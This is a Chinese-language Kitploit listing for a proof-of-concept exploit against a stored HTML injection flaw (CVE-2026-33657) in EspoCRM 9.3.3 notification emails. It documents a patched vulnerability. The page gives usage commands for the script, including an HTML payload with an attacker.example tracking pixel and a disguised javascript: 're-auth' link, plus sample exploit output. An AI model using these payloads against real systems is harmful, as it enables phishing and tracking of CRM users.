Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-33657 — EspoCRM 9.3.3 - 邮件通知中的存储型 HTML 注入漏洞 | Kitploit
工具/GitHubGitHub/entrovyx/cve-2026-33657
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试
GitHubentrovyx/cve-2026-33657

CVE-2026-33657

EspoCRM 9.3.3 - 邮件通知中的存储型 HTML 注入漏洞

查看仓库
74个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-33657 - EspoCRM 9.3.3 邮件通知中的存储型 HTML 注入

针对 EspoCRM 9.3.3 邮件通知中存储型 HTML 注入的已认证概念验证。

概述

EspoCRM 9.3.3 在渲染流动态通知邮件时,会通过 Markdown 转换动态正文,并将生成的 HTML 使用三重大括号({{{post}}})插入到邮件模板中。能够创建流动态帖子并触发通知的已认证用户,可以存储攻击者控制的 HTML,该 HTML 随后会在生成的邮件正文中被渲染。

该漏洞利用执行了攻击者控制的远程部分流程:

  1. 向 EspoCRM 进行身份验证。
  2. 可选地通过 /api/v1/App/user 对版本进行指纹识别。
  3. 创建包含 HTML 的恶意 Note。
  4. 使用 --mention 或 --target-user-id 排队通知目标。
  5. 确认载荷已存储,且通知目标存在于 API 响应中。

当 EspoCRM 正常的 SendEmailNotifications 任务或 cron 处理排队的通知时,邮件即被发送。

受影响版本

  • 受影响:EspoCRM 9.3.3
  • 已修复:EspoCRM 9.3.4
  • 安全公告:https://github.com/espocrm/espocrm/security/advisories/GHSA-8prm-r5j9-j574
  • CVE:CVE-2026-33657
  • CWE:CWE-80

环境要求

  • Python 3
  • requests
  • 有效的 EspoCRM 凭据
  • 能够创建流 Note 记录
  • 通知目标:
    • --mention <username> 用于提及邮件通知,或
    • --target-user-id <id> 用于定向流动态帖子通知

安装依赖:

python3 -m pip install requests

使用方法

推荐的基于提及的路径:

python3 CVE-2026-33657.py \
  -u http://127.0.0.1:8083 \
  -U testuser \
  -P 'Admin12345!' \
  --mention admin

使用自定义跟踪 URL:

python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --mention victim \
  --tracking-url https://attacker.example/pixel.gif

使用完全自定义的 HTML 载荷:

python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --mention victim \
  --payload '<img src="https://attacker.example/p.gif" onerror="alert(33657)"><a href="javascript:alert(33657)">open</a>'

针对特定用户 ID 而非提及:

python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --target-user-id 0123456789abcdef0 \
  --target-user-name 'Victim User'

仅进行指纹识别,不创建动态帖子:

python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --detect-only

选项

-u, --url                 基础 EspoCRM URL
-U, --username             EspoCRM 用户名
-P, --password             EspoCRM 密码
--mention                 要提及的用户名,不带 @
--target-user-id           用于定向流动态帖子通知的用户 ID
--target-user-name         --target-user-id 的显示名称
--payload                 要存储在 Note 中的原始 HTML 载荷
--tracking-url             默认载荷使用的跟踪像素 URL
--link-url                 默认载荷使用的链接 URL
--marker                   附加到载荷前面的标记文本
--detect-only              仅进行版本指纹识别;不创建 Note
--skip-version-check       在利用前跳过 /api/v1/App/user
--force                    即使版本指纹不是 9.3.3 也继续
--insecure                 禁用 TLS 证书验证

预期输出

成功运行会创建一个恶意动态帖子并确认通知目标:

[*] /api/v1/App/user: HTTP 200
[*] 检测到版本:9.3.3
[+] 版本指纹存在漏洞:EspoCRM 9.3.3。
[*] 以 testuser 身份创建恶意 Note
[*] Note 响应:HTTP 200 ...
[+] 漏洞载荷已存储在 Note 动态中。
[+] Note ID:69fddeef8db756271
[+] 解析到的提及:@admin -> 用户 ID 69fdcfb66c34ccb81
[+] API 返回的通知目标列表:69fdcfb66c34ccb81
[+] 完整的远程触发已提交。

在存在漏洞的实例上,生成的 HTML 邮件正文会保留注入的 HTML。实验室捕获结果如下:

<img src="http://attacker.example/full-process.gif" width="1" height="1" onerror="alert(33657)">
<a href="javascript:alert(33657)" style="color:red">re-auth</a>

实验室验证

在本地 EspoCRM 实验室中,运行漏洞利用后,触发通知任务:

sudo -u www-data php command.php run-job SendEmailNotifications

生成的邮件正文应在 text/html 部分包含注入的 HTML。

备注

  • 该漏洞利用不需要对目标具有 shell 访问权限;shell 访问权限仅用于本地实验室验证排队的邮件任务。
  • 如果 API 报告 @@version,则目标可能是源码树构建。脚本会继续运行,因为底层代码可能仍是存在漏洞的 9.3.3 标签。
  • 如果 --mention 未产生解析的提及,请检查攻击者的 messagePermission 和 mentionPermission,并确认目标用户名存在且能够接收通知。
下载工具